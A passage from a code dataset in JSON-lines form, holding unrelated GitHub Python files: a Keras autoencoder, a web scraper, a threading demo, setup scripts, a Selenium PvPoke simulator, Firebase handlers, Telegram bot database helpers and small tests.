Dense(256,activation='relu')(input_label_condition_vector)\r\n #x = Dropout(0.2)(x)\r\n x = Dense(LATENT_DIM,activation='relu')(x)\r\n model = Model(input_label_condition_vector,x)\r\n return model\r\n\r\ndef build_c2ae(model_name): #encoder\r\n \r\n H_gamma = build_conditioner()\r\n H_gamma.name = 'H_gamma'\r\n H_beta = build_conditioner()\r\n H_beta.name = 'H_beta'\r\n \r\n #input_image = Input(shape=INPUT_SHAPE)\r\n #z = encoder(input_image)\r\n \r\n #condition_type_input = Input(shape=(1,))\r\n \r\n z = Input(shape=(LATENT_DIM,))\r\n \r\n l_m = Input(shape=(NUM_CLASSES,))\r\n gamma_m = H_gamma(l_m)\r\n beta_m = H_beta(l_m)\r\n z_l_m = Multiply()([z,gamma_m])\r\n z_l_m = Add()([z_l_m,beta_m])\r\n \r\n \r\n l_nm = Input(shape=(NUM_CLASSES,))\r\n gamma_nm = H_gamma(l_nm)\r\n beta_nm = H_beta(l_nm)\r\n z_l_nm = Multiply()([z,gamma_nm])\r\n z_l_nm = Add()([z_l_nm,beta_nm])\r\n \r\n if model_name == 'densenet121':\r\n decoder = build_decoder_densenet(LATENT_DIM)\r\n \r\n if model_name == 'efnb2':\r\n decoder = build_decoder_efnb2(LATENT_DIM)\r\n \r\n if model_name == 'efnb3':\r\n decoder = build_decoder_efnb3(LATENT_DIM)\r\n \r\n if model_name == 'efnb4':\r\n decoder = build_decoder_efnb4(LATENT_DIM)\r\n \r\n match_recon = decoder(z_l_m)\r\n nonmatch_recon = decoder(z_l_nm)\r\n \r\n out = Concatenate(axis=-1)([match_recon,nonmatch_recon])\r\n \r\n #c2ae = Model(inputs=[input_image,l_j],outputs=reconstruction)\r\n #c2ae = Model(inputs=[z,l_j,condition_type_input],outputs=reconstruction)\r\n \r\n c2ae = Model(inputs=[z,l_m,l_nm],outputs=out)\r\n \r\n return c2ae, decoder, H_gamma, H_beta#, condition_type_input #, encoder\r\n\r\nif __name__ == '__main__':\r\n encoder = build_encoder(LATENT_DIM)\r\n classifier = build_classifier(encoder)\r\n c2ae, _, decoder, H_gamma, H_beta = build_c2ae(encoder)\r\n \r\n encoder.summary()\r\n decoder.summary()\r\n H_gamma.summary()\r\n H_beta.summary()\r\n c2ae.summary()\r\n","repo_name":"pranavbudhwant/ISIC","sub_path":"c2ae/c2ae.py","file_name":"c2ae.py","file_ext":"py","file_size_in_byte":3328,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"7229180673","text":"import requests\nfrom bs4 import BeautifulSoup\n\n\n\npage_dist = dict()\nresponse = requests.get('http://old.iachina.cn/upload/product/20091207050241328.html')\nresponse.encoding = 'gbk'\nresponse = response.text\np_list = BeautifulSoup(response,\"lxml\").find_all('p')\nlevel = 0\nfor p in p_list:\n\n try :\n if p['align'] == \"center\":\n title = p.get_text()\n print(\"title : \"+title)\n except:\n print(p.get_text())\n\n\n\n\n","repo_name":"xiaoweiab/learn1","sub_path":"translate/dealbaoxian/test1.py","file_name":"test1.py","file_ext":"py","file_size_in_byte":446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"4962613615","text":"# author:lzt\n# date: 2019/12/12 10:50\n# file_name: lock_test\n# 有100张票 3个窗口同时开卖 每卖出一张 票数-1 直到100张票卖完为止\nfrom threading import Thread\nimport time\nimport threading\n\ntickets = 100\n\n# 获取一把锁\nlock1 = threading.Lock()\n\n\ndef window1():\n global tickets\n while tickets > 0:\n lock1.acquire()\n # 二次判断：检测数据有没有在等待期间发生变化\n if tickets > 0:\n # 打印票面\n print(\"window1卖出票号:\", tickets)\n # time.sleep(0.02)\n # 票数-1\n tickets -= 1\n lock1.release()\n\n\ndef window2():\n global tickets\n while tickets > 0:\n lock1.acquire()\n if tickets > 0:\n # 打印票面\n print(\"window2卖出票号:\", tickets)\n # time.sleep(0.1)\n # 票数-1\n tickets -= 1\n lock1.release()\n\n\ndef window3():\n global tickets\n while tickets > 0:\n lock1.acquire()\n if tickets > 0:\n # 打印票面\n print(\"window3卖出票号:\", tickets)\n # time.sleep(0.05)\n # 票数-1\n tickets -= 1\n lock1.release()\n\n\nt1 = Thread(target=window1)\nt2 = Thread(target=window2)\nt3 = Thread(target=window3)\n\nt1.start()\nt2.start()\nt3.start()\n","repo_name":"1987617587/lsh_py","sub_path":"basics/day29/lzt/lock_test.py","file_name":"lock_test.py","file_ext":"py","file_size_in_byte":1326,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"} +{"seq_id":"40273269722","text":"import os\nfrom setuptools import setup\n\n\ntry:\n descr = open(os.path.join(os.path.dirname(__file__), 'README.md')).read()\nexcept IOError:\n descr = ''\n\ntry:\n from pypandoc import convert\n descr = convert(descr, 'rst', format='md')\nexcept ImportError:\n pass\n\nsetup_parameters = dict(\n name=\"pims_nd2\",\n version=\"1.1\",\n description=\"An image reader for nd2 (NIS Elements) multidimensional images\",\n author=\"Casper van der Wel\",\n install_requires=['pims>=0.3'],\n author_email=\"caspervdw@gmail.com\",\n url=\"https://github.com/soft-matter/pims_nd2\",\n packages=['pims_nd2'],\n include_package_data=True,\n classifiers=[\"Development Status :: 5 - Production/Stable\",\n \"Intended Audience :: Science/Research\",\n \"Programming Language :: C\",\n \"Programming Language :: Python\",\n \"Programming Language :: Python :: 2\",\n \"Programming Language :: Python :: 3\",\n \"Topic :: Scientific/Engineering\",\n \"Operating System :: Microsoft :: Windows\",\n \"Operating System :: POSIX\",\n \"Operating System :: Unix\",\n \"Operating System :: MacOS\"],\n platforms=['MacOS X', 'Windows', 'Linux CentOs 6.5/7', 'Linux Debian 7/8'],\n long_description=descr)\n\nsetup(**setup_parameters)\n","repo_name":"soft-matter/pims_nd2","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1353,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"77"} +{"seq_id":"73471847288","text":"import setuptools\n\nREQUIRED = [\n \"numpy\",\n \"pandas\",\n \"scikit-learn\"\n]\n\nsetuptools.setup(\n name=\"lambdata-isaacgrove\",\n version=\"0.8\",\n packages=setuptools.find_packages(),\n # Project uses reStructuredText, so ensure that the docutils get\n # installed or upgraded on the target machine\n install_requires=REQUIRED,\n # metadata to display on PyPI\n author=\"isaacgrove\",\n author_email=\"isaacgrove333@gmail.com\",\n description=\"Lambda DS Unit 3 lambdata - helper functions\",\n keywords=\"\",\n url=\"\", # project home page, if any\n classifiers=[\n \"License :: OSI Approved :: MIT License\"\n ]\n # could also include long_description, download_url, etc.\n)","repo_name":"isaacgrove/unit3-day1-lambdata","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":703,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"5430453039","text":"from firebase_admin import db\nfrom rest_framework.response import Response\nfrom apps.metrics.helpers.combine_metrics_helper.combine_metrics import SearchNode\n\ndef handleEditName(data):\n uid = data['user_id']\n project_index = data['project_index']\n arch_index = int(data['arch_index'])\n version_index = data['ver_index']\n url = '/users/' + uid + '/projects/' + str(project_index)\n\n old_name = data['old_name']\n new_name = data['new_name']\n\n arch_ref = db.reference(url + '/architectures')\n arch_arr = arch_ref.get()\n\n list_t = arch_arr[int(arch_index)]['versions'][int(version_index)]['elements']['list_t']\n nodes = arch_arr[int(arch_index)]['versions'][int(version_index)]['elements']['nodes']\n try:\n for t in list_t:\n if t['name'] == old_name:\n t.update({\n 'name': str(new_name).upper()\n })\n for node in nodes:\n if(node['data']['id'] in t['composite_component']):\n print(node['data']['id'])\n node['data'].update({\n 'composite': str(new_name).upper()\n })\n break\n\n\n # Se actualiza la lista t\n arch_arr[int(arch_index)]['versions'][int(version_index)]['elements']['list_t'] = list_t\n arch_arr[int(arch_index)]['versions'][int(version_index)]['elements']['nodes'] = nodes\n # Se actualiza la bd\n # arch_arr[int(arch_index)]['versions'][int(version_index)]['elements'] = elements\n project_ref = db.reference(url)\n project_ref.update({\n 'architectures': arch_arr\n })\n\n return Response(data={\"ok\": True})\n except Exception as e:\n print('Error:', e)\n return Response({\"ok\":False})\n\n\n# Permite editar el componente compuesto al que pertenece un nodo\ndef handleEditNodeCompositeComponent(data):\n uid = data['user_id']\n project_index = data['project_index']\n arch_index = int(data['arch_index'])\n version_index = data['ver_index']\n url = '/users/' + uid + '/projects/' + str(project_index)\n\n nodeData = data['node']\n composite_component = data['new_name']\n\n arch_ref = db.reference(url + '/architectures')\n arch_arr = arch_ref.get()\n\n list_t = arch_arr[int(arch_index)]['versions'][int(version_index)]['elements']['list_t']\n nodes = arch_arr[int(arch_index)]['versions'][int(version_index)]['elements']['nodes']\n\n try:\n fullNode = SearchNode(nodeData, nodes) # me quede sin nombres jeje\n\n aux = False\n # Si el nodo pertenece con anterioridad a otro componente compuesto entonces lo saco de esa lista t\n if 'composite' in fullNode['data']:\n print('pertenecia a otro componente')\n for lt in list_t:\n for index, cc in enumerate(lt['composite_component']):\n if cc == fullNode['data']['name']:\n lt['composite_component'].pop(index)\n aux = True\n break\n\n if aux:\n print('break')\n break\n\n for t in list_t:\n if t['name'] == composite_component:\n t['composite_component'].append(nodeData)\n\n for node in nodes :\n if(node['data']['id'] == nodeData):\n node['data'].update({\n 'composite': t['name'],\n 'bg': t['bg']\n })\n\n arch_arr[int(arch_index)]['versions'][int(version_index)]['elements']['list_t'] = list_t\n arch_arr[int(arch_index)]['versions'][int(version_index)]['elements']['nodes'] = nodes\n\n\n project_ref = db.reference(url)\n project_ref.update({\n 'architectures': arch_arr\n })\n return Response(data={'ok': True})\n except Exception as e:\n print(e)\n return Response(data={'ok': False})\n\n# Genera la tabla de los componentes compuestos\ndef handleCompositeComponentBoard(data):\n uid = data['user_id']\n project_index = data['project_index']\n arch_index = int(data['arch_index'])\n version_index = data['ver_index']\n url = '/users/' + uid + '/projects/' + str(project_index)\n\n arch_ref = db.reference(url + '/architectures')\n arch_arr = arch_ref.get()\n\n edges = arch_arr[int(arch_index)]['versions'][int(version_index)]['elements']['edges']\n nodes = arch_arr[int(arch_index)]['versions'][int(version_index)]['elements']['nodes']\n list_t = arch_arr[int(arch_index)]['versions'][int(version_index)]['elements']['list_t']\n\n # print(len(edges))\n # print(len(nodes))\n # print(len(list_t))\n try:\n for item in list_t:\n # Required interfaces\n ca = []\n # Provided interfaces\n ce = []\n\n for component in item['composite_component']:\n for edge in edges:\n sourceNode = SearchNode(edge['data']['source'], nodes)\n targetNode = SearchNode(edge['data']['target'], nodes)\n\n if component == sourceNode['data']['id']:\n if 'composite' not in targetNode['data']:\n composite = ''\n else:\n composite = targetNode['data']['composite']\n if sourceNode['data']['composite'] != composite:\n if edge['scratch']['index'] not in ce and edge['scratch']['index'] not in ca:\n ce.append(edge['scratch']['index'])\n\n\n if component == targetNode['data']['id']:\n if 'composite' not in sourceNode['data']:\n composite = ''\n else:\n composite = sourceNode['data']['composite']\n\n if targetNode['data']['composite'] != composite:\n if edge['scratch']['index'] not in ca and edge['scratch']['index'] not in ce:\n ca.append(edge['scratch']['index'])\n\n # print('--------NEXT---------')\n item.update({\n 'required_interfaces': ca,\n 'provided_interfaces': ce,\n 'description': ''\n })\n\n # Actualizo la lista t\n arch_arr[int(arch_index)]['versions'][int(version_index)]['elements']['list_t'] = list_t\n project_ref = db.reference(url)\n # Actualizo los datos en la base de datos\n project_ref.update({\n 'architectures': arch_arr\n })\n\n return Response(data={'ok': True})\n except Exception as e:\n print(e)\n return Response(data={'ok': False})\n\n# TODO\n# ? Hace falta limpiar las tablas\n# Edita la descripción de los componentes compuestos\ndef handleEditCompositeComponentDescription(data):\n uid = data['user_id']\n project_index = data['project_index']\n arch_index = int(data['arch_index'])\n version_index = data['ver_index']\n url = '/users/' + uid + '/projects/' + str(project_index)\n\n cc_name = data['name']\n description = data['description']\n\n arch_ref = db.reference(url + '/architectures')\n arch_arr = arch_ref.get()\n\n list_t = arch_arr[int(arch_index)]['versions'][int(version_index)]['elements']['list_t']\n\n try:\n for item in list_t:\n if item['name'] == cc_name:\n item.update({\n 'description': description\n })\n arch_arr[int(arch_index)]['versions'][int(version_index)]['elements']['list_t'] = list_t\n project_ref = db.reference(url)\n # Actualizo los datos en la base de datos\n project_ref.update({\n 'architectures': arch_arr\n })\n return Response(data={'ok': True})\n except Exception as e:\n print(e)\n return Response(data={'ok': False})\n","repo_name":"Leopgf/tesis-back","sub_path":"apps/metrics/helpers/combine_metrics_helper/composite_component_handler.py","file_name":"composite_component_handler.py","file_ext":"py","file_size_in_byte":7243,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"27528022819","text":"\"\"\"These are the actions primary related to DialogDomain, but any module can use them. Basically it provides ways for visually inserting, editting and\r\nupdating the db:domain table.\"\"\"\r\nimport output\r\nimport wx\r\nimport session\r\nfrom errors import *\r\nimport DialogEditDomain\r\nfrom table_domain import t_domain\r\n \r\ndef insert():\r\n \"\"\"Calls the edit dialog in insert mode. Returns True of False whether a record has been inserted or not.\"\"\"\r\n result = False\r\n dlg = DialogEditDomain.create(None)\r\n dlg.set_mode(\"insert\")\r\n try:\r\n dlg.ShowModal()\r\n if dlg.result == wx.ID_OK:\r\n result = True\r\n else:\r\n raise error_abort(\"Insert canceled.\")\r\n finally:\r\n dlg.Destroy()\r\n return result\r\n\r\n\r\ndef edit(id):\r\n \"\"\"Calls the edit dialog in edit mode. Returns True of False whether a record has been edited or not.\"\"\"\r\n result = False\r\n dlg = DialogEditDomain.create(None)\r\n dlg.set_mode(\"edit\")\r\n dlg.set_id(id)\r\n try:\r\n dlg.ShowModal()\r\n if dlg.result == wx.ID_OK:\r\n result = True\r\n else:\r\n raise error_abort(\"Edit canceled.\")\r\n finally:\r\n dlg.Destroy()\r\n return result\r\n\r\ndef delete(id):\r\n if wx.MessageBox(\"Are you sure, mate?\", \"Confirm delete\", wx.YES_NO, None) == wx.YES:\r\n # raise error_x(\"Sorry, this action is too dangerous to be performed!\")\r\n t_domain.delete(id)\r\n else:\r\n raise error_abort(\"Delete not confirmed.\")\r\n\r\n","repo_name":"trevisanj/sheware","sub_path":"act_domain.py","file_name":"act_domain.py","file_ext":"py","file_size_in_byte":1389,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"25015054524","text":"from database.models import Command, Result, Request, db, CharField\nfrom datetime import datetime\nimport psycopg2\nfrom psycopg2.extensions import ISOLATION_LEVEL_AUTOCOMMIT\nfrom loguru import logger\nfrom loader import bot\nfrom telebot.types import Message\n\n\ndef check_database() -> None:\n \"\"\"\n Функция проверяет наличие базы данных, если БД не существует, то создает её.\n В конце создает таблицы.\n \"\"\"\n logger.add('debug_in_database.log', level='DEBUG', format=\"{time} {level} {message}\", rotation=\"10 KB\",\n compression=\"zip\")\n con = psycopg2.connect(\"user='postgres' host='localhost' password='12345'\")\n dbname = 'history'\n\n con.set_isolation_level(ISOLATION_LEVEL_AUTOCOMMIT)\n cur = con.cursor()\n try:\n cur.execute('CREATE DATABASE ' + dbname)\n logger.info('DATABASE created')\n\n except psycopg2.ProgrammingError as err:\n logger.exception(err)\n logger.error('DATABASE already exists')\n\n finally:\n with db:\n db.create_tables([Request, Command, Result])\n\n\ndef insert_in_requests(user_id: int, time: datetime) -> int:\n \"\"\"\n Cоздаёт запись в таблице requests\n :param user_id: id пользователя\n :param time: время когда пользователь сделал запрос\n :return: айди записи для создания связи между таблицами\n \"\"\"\n with db:\n request = Request.create(user_id=user_id, time=time)\n logger.info('INSERT in requests')\n return request.id\n\n\ndef insert_in_commands(request_id, command_name: str, city_name: str,\n data_in: str, data_out: str, quantity: str,\n min_price: CharField = None, max_price: CharField = None, min_distance: CharField = None,\n max_distance: CharField = None) -> int:\n \"\"\"\n Cоздаёт запись в таблице commands\n :param request_id: айди прошлого запроса(requests)\n :param command_name: имя команды\n :param city_name: названия города\n :param data_in: дата заезда\n :param data_out: дата выезда\n :param quantity: кол-во отелей\n :param min_price: мин. цена (optional)\n :param max_price: макс. цена (optional)\n :param min_distance: мин. дистанция до центра (optional)\n :param max_distance: макс. дистанция до центра (optional)\n :return: айди записи для создания связи между таблицами\n \"\"\"\n with db:\n command = Command.create(request_id=request_id, command_name=command_name, city_name=city_name,\n min_price=min_price, max_price=max_price, min_distance=min_distance,\n max_distance=max_distance, data_in=data_in, data_out=data_out, quantity=quantity)\n logger.info('INSERT in commands')\n return command.id\n\n\ndef insert_in_results(command_id, hotel: str, address: str, price: str,\n distance: str, total_price: str, url: str) -> None:\n \"\"\"\n Cоздаёт запись в таблице results\n :param command_id: айди прошлого запроса(commands)\n :param hotel: название отеля\n :param address: адрес\n :param price: цена за ночь\n :param distance: расстояние до центра\n :param total_price: общая сумма денег\n :param url: ссылка на отель\n :return: None\n \"\"\"\n with db:\n Result.insert(command_id=command_id, hotel=hotel, address=address, price=price,\n distance=distance, total_price=total_price, url=url).execute()\n logger.info('INSERT in results')\n\n\n@logger.catch()\ndef select_user_history(message: Message):\n \"\"\"\n Получает из базы данных историю всех запросов пользователя лимит(5),\n после этого обрабатывает их и приводит в тип текста.\n И после всего этого выводит пользователю его команду и отели которые он нашел, с помощью этой команды.\n :param message: сообщение пользователя(с помощью него мы получаем id,\n и имеем возможность отправить текст из функции)\n \"\"\"\n with db:\n keys = Request.select().where(Request.user_id == message.from_user.id).limit(5).order_by(Request.time.desc())\n for key in keys:\n command = Command.select().where(Command.request_id == key).get()\n text1 = (f'Время: {str(key.time)[0:19]} Команда: {command.command_name}\\n'\n f'Город: {command.city_name}, с {command.data_in} по {command.data_out}')\n if command.command_name == 'beastdeal':\n text1 += (f'параметры поиска:\\n'\n f'минимальная цена: {command.min_price} и максимальная цена: {command.max_price}\\n'\n f'минимальное расстояние: {command.min_distance}'\n f' и максимальное расстояние: {command.max_distance}\\n')\n bot.send_message(message.chat.id, text1)\n\n history = Result.select().where(Result.command_id == key)\n for one_story in history:\n text2 = (f'Название отеля: {one_story.hotel}, цена за ночь: {one_story.price}\\n'\n f'Расстояние до центра {one_story.distance}\\n'\n f'Полная стоимость проживания {one_story.total_price}\\n'\n f'Адресс: {one_story.address}\\nСсылка на страницу отеля: {one_story.url}')\n\n bot.send_message(message.chat.id, text2, disable_web_page_preview=True)\n\n\n\n","repo_name":"banrj/telegram_travel_bot","sub_path":"database/database_commands.py","file_name":"database_commands.py","file_ext":"py","file_size_in_byte":6223,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"43798845662","text":"import itertools as it\nimport ubelt as ub\nimport pathlib\nimport time\nimport os\nimport stat\n\n\ndef ensure_selenium_chromedriver():\n \"\"\"\n os.environ['webdriver.chrome.driver'] = ensure_selenium_chromedriver()\n \"\"\"\n import requests\n import zipfile\n timeout = 5.0\n\n def latest_version():\n rsp = requests.get('http://chromedriver.storage.googleapis.com/LATEST_RELEASE', timeout=timeout)\n if rsp.status_code != 200:\n raise Exception\n version = rsp.text.strip()\n return version\n\n # version = latest_version()\n # version = '91.0.4472.19'\n # version = '90.0.4430.24'\n version = '92.0.4515.107'\n\n known_hashs = {\n '91.0.4472.19': '49622b740b1c7e66b87179a2642f6c57f21a97fc844c84b30a48',\n '90.0.4430.24': 'b85313de6abc1b44f26a0e12e20cb66657b840417f5ac6018946',\n '92.0.4515.107': '844c0e04bbbfd286617af2d7facd3d6cf7d3491b1e78120f8e0',\n }\n url = 'http://chromedriver.storage.googleapis.com/{}/chromedriver_linux64.zip'.format(version)\n bin_dpath = pathlib.Path(ub.expandpath('~/.local/bin'))\n download_dpath = bin_dpath / f'chromedriver_{version}'\n download_dpath.mkdir(exist_ok=True, parents=True)\n\n zip_fpath = ub.grabdata(\n url, hash_prefix=known_hashs.get(version, 'unknown-version'),\n dpath=download_dpath,\n )\n zip_fpath = pathlib.Path(zip_fpath)\n # dpath = zip_fpath.parent\n\n # TODO: version the binary\n chromedriver_fpath_real = download_dpath / 'chromedriver'\n chromedriver_fpath_link = bin_dpath / 'chromedriver'\n\n if not chromedriver_fpath_real.exists() or not chromedriver_fpath_link.exists():\n # Also check hash?\n\n zfile = zipfile.ZipFile(str(zip_fpath))\n try:\n fpath = zfile.extract(\n 'chromedriver', path=chromedriver_fpath_real.parent)\n finally:\n zfile.close()\n\n chromedriver_fpath_real_ = pathlib.Path(fpath)\n assert chromedriver_fpath_real_.exists()\n ub.symlink(chromedriver_fpath_real_, chromedriver_fpath_link,\n overwrite=True)\n\n if not ub.WIN32:\n print('add permission chromedriver_fpath_real_ = {!r}'.format(chromedriver_fpath_real_))\n st = os.stat(chromedriver_fpath_real_)\n os.chmod(chromedriver_fpath_real_, st.st_mode | stat.S_IEXEC)\n\n os.environ['PATH'] = os.pathsep.join(\n ub.oset(os.environ['PATH'].split(os.pathsep)) |\n ub.oset([str(chromedriver_fpath_link.parent)]))\n return chromedriver_fpath_link\n\n\ndef run_pvpoke_simulation(mons, league='auto'):\n \"\"\"\n Args:\n mons (List[pypogo.Pokemon]): pokemon to simulate.\n Must have IVS, movesets, level, etc... fields populated.\n \"\"\"\n from selenium import webdriver\n from selenium.webdriver.common.keys import Keys\n # from selenium.webdriver.support.ui import Select\n import pandas as pd\n # import pypogo\n\n if league == 'auto':\n for mon in mons:\n if mon.cp <= 1500:\n league = 'great'\n elif mon.cp <= 2500:\n league = 'ultra'\n elif mon.level <= 41:\n league = 'master-classic'\n elif mon.level <= 51:\n league = 'master'\n else:\n raise AssertionError\n break\n # for mon in mons:\n # mon.populate_all\n mon_cachers = {}\n have_results = {}\n to_check_mons = []\n for mon in mons:\n mon._slug = mon.slug()\n mon_cachers[mon._slug] = cacher = ub.Cacher(\n 'pvpoke_sim', depends=[mon._slug, league], appname='pypogo')\n mon_results = cacher.tryload()\n if mon_results is None:\n to_check_mons.append(mon)\n else:\n have_results[mon._slug] = mon_results\n\n if to_check_mons:\n # Requires the driver be in the PATH\n ensure_selenium_chromedriver()\n\n url = 'https://pvpoke.com/battle/matrix/'\n driver = webdriver.Chrome()\n driver.get(url)\n time.sleep(2.0)\n\n if league == 'great':\n league_box_target = 'Great League (CP 1500)'\n meta_text = 'Great League Meta'\n elif league == 'ultra':\n league_box_target = 'Ultra League (Level 50)'\n meta_text = 'Ultra League Meta'\n # meta_text = 'Premier Cup Meta'\n # meta_text = 'Remix Cup Meta'\n # meta_text = 'Premier Classic Cup Meta'\n elif league == 'master-classic':\n league_box_target = 'Master League (Level 40)'\n meta_text = 'Master League Meta'\n elif league == 'master':\n league_box_target = 'Master League (Level 50)'\n meta_text = 'Master League Meta'\n else:\n raise NotImplementedError\n\n leage_select = driver.find_elements_by_class_name('league-select')[0]\n leage_select.click()\n leage_select.send_keys(league_box_target)\n leage_select.click()\n leage_select.send_keys(Keys.ENTER)\n\n # leage_select.text.split('\\n')\n # leage_select.send_keys('\\n')\n # leage_select.send_keys('\\n')\n\n def add_pokemon(mon):\n add_poke1_button = driver.find_elements_by_class_name('add-poke-btn')[0]\n add_poke1_button.click()\n\n select_drop = driver.find_element_by_xpath('/html/body/div[5]/div/div[3]/div[1]/select')\n\n if 1:\n import xdev\n all_names = select_drop.text.split('\\n')\n distances = xdev.edit_distance(mon.display_name(), all_names)\n chosen_name = all_names[ub.argmin(distances)]\n else:\n chosen_name = mon.name\n\n search_box = driver.find_element_by_xpath('/html/body/div[5]/div/div[3]/div[1]/input')\n search_box.send_keys(chosen_name)\n\n advanced_ivs_arrow = driver.find_element_by_xpath('/html/body/div[5]/div/div[3]/div[1]/div[2]/div[9]/a/span[1]')\n advanced_ivs_arrow.click()\n\n level40_cap = driver.find_element_by_xpath('/html/body/div[5]/div/div[3]/div[1]/div[2]/div[9]/div/div[2]/div[2]/div[2]')\n level41_cap = driver.find_element_by_xpath('/html/body/div[5]/div/div[3]/div[1]/div[2]/div[9]/div/div[2]/div[2]/div[3]')\n level50_cap = driver.find_element_by_xpath('/html/body/div[5]/div/div[3]/div[1]/div[2]/div[9]/div/div[2]/div[2]/div[4]')\n level51_cap = driver.find_element_by_xpath('/html/body/div[5]/div/div[3]/div[1]/div[2]/div[9]/div/div[2]/div[2]/div[5]')\n\n if mon.level >= 51:\n level51_cap.click()\n elif mon.level >= 50:\n level50_cap.click()\n elif mon.level >= 41:\n level41_cap.click()\n elif mon.level >= 40:\n level40_cap.click()\n\n level_box = driver.find_element_by_xpath('/html/body/div[5]/div/div[3]/div[1]/div[2]/div[9]/div/div[1]/input')\n level_box.click()\n level_box.clear()\n level_box.clear()\n level_box.send_keys(str(mon.level))\n\n iv_a = driver.find_element_by_xpath('/html/body/div[5]/div/div[3]/div[1]/div[2]/div[9]/div/div[1]/div/input[1]')\n iv_d = driver.find_element_by_xpath('/html/body/div[5]/div/div[3]/div[1]/div[2]/div[9]/div/div[1]/div/input[2]')\n iv_s = driver.find_element_by_xpath('/html/body/div[5]/div/div[3]/div[1]/div[2]/div[9]/div/div[1]/div/input[3]')\n\n # TODO\n # driver.find_elements_by_class_name('move-select')\n\n iv_a.clear()\n iv_a.send_keys(str(mon.ivs[0]))\n\n iv_d.clear()\n iv_d.send_keys(str(mon.ivs[1]))\n\n iv_s.clear()\n iv_s.send_keys(str(mon.ivs[2]))\n\n # USE_MOVES = 1\n if mon.moves is not None:\n # mon.populate_all()\n\n fast_select = driver.find_element_by_xpath('/html/body/div[5]/div/div[3]/div[1]/div[2]/div[10]/select[1]')\n fast_select.click()\n fast_select.send_keys(mon.pvp_fast_move['name'])\n fast_select.send_keys(Keys.ENTER)\n\n charge1_select = driver.find_element_by_xpath('/html/body/div[5]/div/div[3]/div[1]/div[2]/div[10]/select[2]')\n charge1_select.click()\n charge1_select.send_keys(mon.pvp_charge_moves[0]['name'])\n charge1_select.send_keys(Keys.ENTER)\n\n charge2_select = driver.find_element_by_xpath('/html/body/div[5]/div/div[3]/div[1]/div[2]/div[10]/select[3]')\n charge2_select.click()\n charge2_select.send_keys(mon.pvp_charge_moves[1]['name'])\n charge2_select.send_keys(Keys.ENTER)\n\n save_button = driver.find_elements_by_class_name('save-poke')[0]\n save_button.click()\n\n quickfills = driver.find_elements_by_class_name('quick-fill-select')\n quickfill = quickfills[1]\n quickfill.text.split('\\n')\n quickfill.click()\n quickfill.send_keys(meta_text)\n quickfill.click()\n\n for mon in to_check_mons:\n add_pokemon(mon)\n\n shield_num_to_text = {\n 0: 'No shields',\n 1: '1 shield',\n 2: '2 shields',\n }\n\n shield_case_to_data = {}\n\n for atk_num_shields, def_num_sheids in it.product(shield_num_to_text, shield_num_to_text):\n shield_selectors = driver.find_elements_by_class_name('shield-select')\n shield_selectors[2].click()\n shield_selectors[2].send_keys(shield_num_to_text[atk_num_shields])\n shield_selectors[2].send_keys(Keys.ENTER)\n\n shield_selectors[3].click()\n shield_selectors[3].send_keys(shield_num_to_text[def_num_sheids])\n shield_selectors[3].send_keys(Keys.ENTER)\n\n #shield_selectors[0].click()\n\n battle_btn = driver.find_elements_by_class_name('battle-btn')[0]\n battle_btn.click()\n\n # Clear previous downloaded files\n dlfolder = pathlib.Path(ub.expandpath('$HOME/Downloads'))\n for old_fpath in list(dlfolder.glob('_vs*.csv')):\n old_fpath.unlink()\n\n time.sleep(2.0)\n\n # Download new data\n dl_btn = driver.find_element_by_xpath('//*[@id=\"main\"]/div[4]/div[9]/div/a')\n dl_btn.click()\n\n while len(list(dlfolder.glob('_vs*.csv'))) < 1:\n pass\n\n new_fpaths = list(dlfolder.glob('_vs*.csv'))\n assert len(new_fpaths) == 1\n fpath = new_fpaths[0]\n\n data = pd.read_csv(fpath, header=0, index_col=0)\n shield_case_to_data[(atk_num_shields, def_num_sheids)] = data\n\n for idx, mon in enumerate(to_check_mons):\n mon_results = {ss: scores.iloc[idx] for ss, scores in shield_case_to_data.items()}\n cacher = mon_cachers[mon._slug]\n cacher.save(mon_results)\n have_results[mon._slug] = mon_results\n\n _tojoin = ub.ddict(list)\n _joined = ub.ddict(list)\n for mon_results in have_results.values():\n for ss, scores in mon_results.items():\n _tojoin[ss].append(scores)\n\n for ss, vals in _tojoin.items():\n _joined[ss] = pd.concat([v.to_frame().T for v in vals])\n _joined.default_factory = None\n results = _joined\n return results\n","repo_name":"Erotemic/pypogo","sub_path":"pypogo/pvpoke_driver.py","file_name":"pvpoke_driver.py","file_ext":"py","file_size_in_byte":11341,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"77"} +{"seq_id":"5294664414","text":"import unittest\nimport stats as s\n\nclass TestStatsMethods(unittest.TestCase):\n\n\tdef test_compute_avg(self):\n\t\texpected = 2.5\n\t\ttest = s.compute_avg([1,2,3,4])\n\t\tself.assertEqual(test, expected)\n\n\tdef test_compute_min(self):\n\t\texpected = 1\n\t\ttest = s.compute_min([1,2,3,4])\n\t\tself.assertEqual(test, expected)\n\n\tdef test_compute_max(self):\n\t\texpected = 4\n\t\ttest = s.compute_max([1,2,3,4])\n\t\tself.assertEqual(test, expected)\n\nif __name__ == '__main__':\n\tunittest.main()\n\nunittest.main()","repo_name":"cmoussa1/Travis-CI-for-Python","sub_path":"unittest_stats.py","file_name":"unittest_stats.py","file_ext":"py","file_size_in_byte":483,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"23944934821","text":"#!/usr/bin/env python\n# import pytest\n\n\nclass Virus(object):\n '''Properties and attributes of the virus used in Simulation.'''\n\n def __init__(self, name, repro_rate, mortality_rate):\n self.name = name\n self.repro_rate = repro_rate\n self.mortality_rate = mortality_rate\n\n# ERIK's test\ndef test_virus_instantiation():\n '''Check to make sure that the virus instantiator 